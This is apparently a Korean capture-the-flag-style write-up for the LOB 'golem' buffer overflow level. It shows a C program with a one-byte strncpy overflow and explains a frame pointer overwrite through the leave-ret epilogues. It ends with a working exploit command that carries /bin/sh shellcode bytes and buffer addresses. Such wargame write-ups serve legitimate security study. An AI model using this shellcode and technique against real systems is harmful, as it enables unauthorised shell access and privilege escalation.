[LOB] golem
#include <stdio.h>
#include <stdlib.h>
void problem_child(char *src)
{
char buffer[40];
strncpy(buffer, src, 41);
printf("%s\n", buffer);
}
main(int argc, char *argv[])
{
if(argc<2){
printf("argv error\n");
exit(0);
}
problem_child(argv[1]);
}
코드를 확인하면
problem_child()함수 인자로 main함수의 인자값인 argv[1]이 들어가고
problem_child()함수에는 buffer변수 40bytes 할당되고, strncpy()함수에 의해서 41bytes까지 복사가 가능하다.
☞ 1bytes의 오버라이트만 가능하다
문제에서 FPO가 있는 것을 통해서 Frame Pointer Overwrite를 해야 될거 같다.
RET 위의 SFP를 변조하여 EIP를 변경시키는 방법으로 함수의 에필로그를 활용한 공격. 1바이트만으로도 공격이 가능하기 때문에 매우 강력한 공격이다.
1. SFP영역에서 최소 1바이트 overflow 발생
2. 메인 함수와 서브 함수 필요
함수의 에필로그
leave | ret |
mov ebp esp pop ebp |
pop eip jmp eip |
정상적인 함수의 에필로그
FPO 공격을 이용하여 이문제를 풀면된다!
함수에필로그 중에서 pop ebp하는 부분을 뒤에 1byte를 조작 해서 eip를 원하는 곳으로 주소를 바꾸는 공격을 시도할거다.
이를 위해서 두번의 leave-ret이 실행되야한다.
problem_child()함수의 에필로그
[LEAVE]
mov esp ebp로 problem_child함수의 SFP를 ebp, esp가 모두 가리키게 되고
pop ebp에 의해서 ebp가 가리키고 있는 problem_child SFP가 ebp로 들어가게 되어 ebp 그 값인 main함수 SFP를 가리키게되고 ESP는 +4를 하게 된다.
이때 problem_child함수의 SFP가 리틀엔디안 형식으로 들어가 있으니까 주소의 맨뒤 끝자리를 바꾸면, 원하는 주소로 ebp를 바꿀 수 있다. (공격)
그 이후
[RET]
RET 부분은 기존의 정상적인 RET로 실행이된다.
pop eip : eip에 probpem_child RET가 들어가고 esp는 +4하게된다.
jmp eip : eip가 실행된다.
이후 main함수의 에필로그까지 수행하면 공격이 성공하게 되는데
[LEAVE]
mov esp ebp로 ebp, esp가 모두 앞에서 변조한 ebp를 가리키게 되고
pop ebp에 의해서 ebp가 가리키고 있는 위의 4bytes가 들어간다. 그리고 esp는 esp+4가 된다.
* shellcode는 원하는 곳에 넣으면 된다. buffer에 넣어도 되고, argv[1]에 넣어도 되고, 환경변수에 넣어도 되는거 같다.
[RET]
pop eip : eip에 buffer에 넣어 놓았던 쉘코드 주소가 들어가게 되고
jmp eip : eip가 실행된다
종합하면,
4bytes의 쓰레기값(AAAA)
+4bytes의 쉘코드 주소
+24bytes의 shellcode (\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80)
+8bytes의 쓰레기값(AAAAAAAA)
+1byes의 수정될 주소 (버퍼시작주소)
core를 gdb로 확인하면,
그러면 buffer 시작주소만 알면 된다!
buffer 시작주소가 0xbffffab4인데
그러면 조작할 1byte가 \xb4인걸 알 수 있고,
쉘주소도 buffer주소+8이니까 0xbffffabc인걸 알 수 있다.
./darkknight `python -c 'print "A"*4+"\xbc\xfa\xff\xbf"+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"A"*8+"\xb4"'`
성공!
이 문제는 shellcode를 argv[1]에 넣어 해당 주소로 연결할 수도 있는 거 같다.